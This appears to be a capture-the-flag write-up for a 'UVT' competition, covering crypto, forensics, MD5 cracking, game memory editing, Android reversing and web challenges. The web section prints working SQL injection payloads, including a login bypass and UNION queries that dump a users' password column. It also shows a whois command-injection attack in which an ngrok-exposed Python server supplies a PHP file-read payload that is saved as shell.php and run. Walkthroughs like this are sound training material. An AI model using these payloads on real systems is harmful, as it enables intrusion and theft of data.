[Cryptography]
Shuffling
Solution
import randomimport time
# Original permutationP = [15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23, 13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24]
# Create inverse permutation for unshufflingdef create_inverse_permutation(P): inverse_P = [0] * len(P) for i, p in enumerate(P): inverse_P[p] = i return inverse_P
def unshuffle(shuffled_list, inverse_P): unshuffled = [0] * len(shuffled_list) for i in range(len(shuffled_list)): unshuffled[inverse_P[i]] = shuffled_list[i] return unshuffled
def decrypt(ciphertext_hex): # Convert hex string to bytes ct = bytes.fromhex(ciphertext_hex)
# Create inverse permutation for unshuffling inverse_P = create_inverse_permutation(P)
# Since we know the encryption steps: # 1. Set random seed to sum of shuffled values # 2. Generate key and XOR
# We need to find the sum of shuffled values to get the key # We'll try a range of possible sums that would be reasonable for ASCII text for potential_sum in range(2000, 4000): random.seed(potential_sum) key = random.randbytes(len(ct))
# XOR the ciphertext with the key to get shuffled values shuffled = [c ^ k for c, k in zip(ct, key)]
# Check if the sum of these values matches our potential sum if sum(shuffled) == potential_sum: # We found the correct sum! Now unshuffle unshuffled = unshuffle(shuffled, inverse_P)
# Convert to a string, stopping at padding flag = "" for val in unshuffled: if 32 <= val <= 126: # Printable ASCII flag += chr(val) else: # We've likely reached the padding break
# Check if it looks like a flag if "UVT{" in flag and "}" in flag: start = flag.find("UVT{") end = flag.find("}", start) + 1 return flag[start:end]
return "Decryption failed. The ciphertext might be corrupted or the algorithm might have changed."
# Decrypt the ciphertextciphertext = "50d553c657e8deff8e103dffa796f8c80f16e6113aa39b025d5690d0771ebf88"print(decrypt(ciphertext))
Final Result
Flag: UVT{1_l1ke_t0_m0v3_1t_m0v3_i7}
[Forensics]
RAMblings of Cornelia
Goals
Get familiar with the dumpfiles feature in memory forensics
Solution
- Use MemprocFS or Volatility3 to perform a filescan to obtain the file address inside processes.
windows.filescan.Filescan
- Search for evidences related to “SAWAT”
- Dumpfiles company-intel.7z, and kind-reminder.txt
- Extract the 7zip compressed folder, with the password given in kind-reminder.txt
Final Result
Flag: UVT{C0rn3l1a_dUmPs_tH3_r4W_tRutH}
Dark Web Stories
Goals
- Capture the network packets using WireShark.
- Understand how MD5 hashing decryption works.
- Perform a Steganography Analysis to retrieve the flag.
Solution
- Export all the HTTP Packets from WireShark
- Extract MD5 hashes hidden accross the packets
5dbc98dcc983a70728bd082d1a47546ef72c915d8f575a5c0999b5f37b6d99b7a20bba554bfa1580a9d4aa2b6879ed4602beeea47ee3cfe212e6bd843b9ce7d33112c7a8b6cd1677db0e3173e140fc0550f4646135205fd4a5417e460cf71d3ceb22cfa0890a2df3177966854a7176bc845f49aa19c955b849d57593bf09d22487f63931da79aa969ac4a776ce6cfb039793d9d6041c80f46ad7c1f530c8bbf82f88d89a8f50426a6285449be328670861bd22f017588208a0cacdf9a1a7ca1ea7623c8b76316e10538782371b709415c6cca42180caba17e9e6882dc66cc6ee7c854900e46ebc5ee5680032b3e334deac81882b848b7673d73777ca22908c0d4ce97d67963edca55cdd21d46a68f5bb4abb62a00bccb775321f2720f2c7750b67e00e8ef738fe75afdb42b22e50371eb561052e5697ee5f1491b5e350fb78e1
- Decrypt the MD5 hashes by running the script below
#!/usr/bin/env python3import hashlibimport string
def calculate_md5(text): """Calculate MD5 hash of given text""" return hashlib.md5(text.encode()).hexdigest()
def main(): # Read the MD5 hashes from the file with open('md5_hashes.txt', 'r') as f: hashes = [line.strip() for line in f.readlines()]
# Known pattern starting with "S", "Su", "Sup", "Sup3" current_text = ""
# Set of possible characters to try possible_chars = string.ascii_letters + string.digits + string.punctuation + " "
# For each hash in the file for i, target_hash in enumerate(hashes): found = False
# Try appending each possible character and check if hash matches for char in possible_chars: test_text = current_text + char test_hash = calculate_md5(test_text)
if test_hash == target_hash: current_text = test_text print(f"Line {i+1}: {current_text} -> {target_hash}") found = True break
if not found: print(f"Failed to find match for hash at line {i+1}: {target_hash}") break
print("\nFinal decrypted message:", current_text)
if __name__ == "__main__": main()
- Obtain the password
Line 1: S -> 5dbc98dcc983a70728bd082d1a47546eLine 2: Su -> f72c915d8f575a5c0999b5f37b6d99b7Line 3: Sup -> a20bba554bfa1580a9d4aa2b6879ed46Line 4: Sup3 -> 02beeea47ee3cfe212e6bd843b9ce7d3Line 5: Sup3r -> 3112c7a8b6cd1677db0e3173e140fc05Line 6: Sup3r$ -> 50f4646135205fd4a5417e460cf71d3cLine 7: Sup3r$3 -> eb22cfa0890a2df3177966854a7176bcLine 8: Sup3r$3c -> 845f49aa19c955b849d57593bf09d224Line 9: Sup3r$3cr -> 87f63931da79aa969ac4a776ce6cfb03Line 10: Sup3r$3cre -> 9793d9d6041c80f46ad7c1f530c8bbf8Line 11: Sup3r$3cre7 -> 2f88d89a8f50426a6285449be3286708Line 12: Sup3r$3cre7P -> 61bd22f017588208a0cacdf9a1a7ca1eLine 13: Sup3r$3cre7P4 -> a7623c8b76316e10538782371b709415Line 14: Sup3r$3cre7P4$ -> c6cca42180caba17e9e6882dc66cc6eeLine 15: Sup3r$3cre7P4$S -> 7c854900e46ebc5ee5680032b3e334deLine 16: Sup3r$3cre7P4$Sw -> ac81882b848b7673d73777ca22908c0dLine 17: Sup3r$3cre7P4$Sw0 -> 4ce97d67963edca55cdd21d46a68f5bbLine 18: Sup3r$3cre7P4$Sw0r -> 4abb62a00bccb775321f2720f2c7750bLine 19: Sup3r$3cre7P4$Sw0rd -> 67e00e8ef738fe75afdb42b22e50371eLine 20: Sup3r$3cre7P4$Sw0rd! -> b561052e5697ee5f1491b5e350fb78e1
Final decrypted message: Sup3r$3cre7P4$Sw0rd!
- Unzip the
secretdata.zip
with the password obtained - Obtain
hacker.png
- Perform steganalysis on the image
Final Result
ZSteg yields the flag
Flag:
UVT{4_l0T_0f_lay3r5_70_unc0v3r_1nn1t?}
[Miscellaneous]
Insert Coin to Play - Part 1
Goals
- Explore the game and understand how it works
- Find out ways to bypass the scoring system of the game.
Solution
- Open the game and play it. The game is a simple 2D game where you need to catch the falling coins.
- The game has a scoring system where you need to catch the coins to score points. However, there wont have enough coins to win the game.
- With the use of Cheat Engine, we can find the memory address of the score and edit it to a higher value.
- In here I change it to 20 value so it is high enough to win the game.
- After that, catch the last coin and I can win the game and get the flag.
Final Result
Flag:
UVT{Wh4t?!_D1d_Y0u_r3aLly_c4TcH_1t?}
Insert Coin to Play - Part 2
Goals
- Explore how the game scoring system works
- Use Cheat Engine to edit the scoring mechanism
Solution
- Using dnSpy, we analyse the decompiled C# code, diving into the AddScore() function
- From the logic, we find out that we need to use Cheat Engine to increment 27 manually to the original score in order to call the win function.
- Track the corresponding scoring value with Cheat Engine and edit it.
Final Result
Flag: UVT{Wh4t?!_D1d_Y0u_r3aLly_c4TcH_1t?}
[Web]
Error=300
Goals
- Understand how the web application works
- Find the flag in the web application
- Understand how the web application is vulnerable to SQL Injection
- Use SQL Injection to bypass the login system and get the flag
Solution
- The web application is a simple login system where you need to enter your username and password to log in.
- We can find out that the web login page is vulnerable to SQL Injection. We can use the following payload to bypass the login system:
'or 1=1--
- After that, we can see there is another page that we need to access the sql database to get the flag.
- We can use the following SQL query to test the blind sql injection:
- Test the length of the column name (test and error by adding NULL values):
' UNION SELECT NULL,NULL,NULL,NULL -- -
- After that, we need to find the name of the database using the following query:
` UNION SELECT NULL,NULL,NULL,schema_name FROM information_schema.schemata -- -
- After that, we can find the name of the table name from that database using the following query:
' UNION SELECT NULL,NULL,NULL,table_name FROM information_schema.tables WHERE table_schema = 'sqli_challenge' -- -
- After that, we can find the name of the column name from that table using the following query:
' UNION SELECT NULL,NULL,NULL,column_name FROM information_schema.columns WHERE table_schema = 'sqli_challenge' -- -
- After that, we can find the flag using the following query:
' UNION SELECT NULL,flag,NULL,NULL FROM sqli_challenge.secrets-- -
- Repeat the process for the second flag using the same method as above. and we will get the second flag.
' UNION SELECT NULL,NULL,NULL,table_name FROM information_schema.tables WHERE table_schema = 'password_reset' -- -
' UNION SELECT NULL,NULL,NULL,column_name FROM information_schema.columns WHERE table_schema = 'password_reset' -- -
' UNION SELECT NULL,NULL,NULL,password FROM password_reset.users-- -
- After that combine the two flags together to get the final flag.
Final Result
Flag: UVT{Th3_sy5t3M_7ru5Ts_1tS_oWn_9r4Mmar_..._S0_5tR1ng5_4r3_m0r3_tHaN_qu3r13s_1n_th3_3nd}
Domain info
Goals
- Analyze a PHP web application for security vulnerabilities
- Exploit command injection to read the flag
- Bypass security filters using creative techniques
Solution
- First, I analyzed the PHP code in the web application which allows users to execute whois commands:
<?php$command = "whois -h " . $host . " -p " . $port . " " . $query . " > " . escapeshellarg($savepath);system($command);
- The application had security measures in place:
- It filters out common command injection characters like ;,&,|,$, (, ), **< & > **
- It validates the host is a valid IP or domain
- It uses escapeshellarg() on some parameters
foreach ([$host, $port, $query, $savefile] as $input) { if (preg_match('/[;&|`$()<>]/', $input)) { die("<p style='color:red;'>❌ Command Injection Detected!</p>"); } }
- Setting up a local server to receive the whois command output:
import socket
HOST = '0.0.0.0' # Listen on all interfacesPORT = 1234 # Local port to run the server
# PHP code to read the flagphp_payload = '<?php echo file_get_contents("/flag.txt"); ?>'
# Start the serverwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) s.listen() print(f"Listening on {PORT}...") while True: conn, addr = s.accept() with conn: # Send the PHP payload immediately conn.sendall(php_payload.encode()) print("Payload sent to:", addr)
- I used ngrok to expose my local server to the internet:
ngrok tcp 1234
- I submitted the form with these values:
host0.tcp.ap.ngrok.io
port10965 *ngrok forwarding port will be given by ngrok
querytesting *this will be the query object anything will do
filenameshell.php
-
This caused the server to execute the whois command and connect to my Python server:
-
This payload was saved as a PHP file in the uploads directory, which I could then access to execute the code and view the flag by just pressing Click here to view your file.
Final Result
Flag:
UVT{M4l1c10us_Wh0_1s_C0mmand_4nd_upl0ad}
[Mobile-Android]
Goals
- Understand how the Android application works
- Find the flag in the Android application
- Understand how the Android application is vulnerable to reverse engineering
Solution [Unintended]
- First, I install the apk into the emulator i have and open it.
- I can see that the app is a simple app where It shows jokes and some info from UVT INFO.
- Next I decompile it with apktool and open the decompiled file
libnative-lib.so
with ghidra. - I analyze the disassembled code to look for vulnerabilities or hardcoded values.
- In the function gethiddenflag() we can see a simple code inside
{ void *__ptr; undefined8 uVar1;
__ptr = (void *)FUN_00100c70("91.99.1.179",0xa4fa,"/somebody-found-a-random-flag-path"); uVar1 = (**(code **)(*param_1 + 0x538))(param_1,__ptr); free(__ptr); return uVar1;}
- We can see that the function is calling a function with the address 0x538 and passing the ip address and the path to it.
- But indeed we direct open the website (0xa4fa hex is 42234 in unicode) so directly open the website and we can see the flag inside the website.
Final Result
Flag:
UVT{m0b1l3_.s0_m4y_c0nt4in_s3ns1tiv3_1nf0}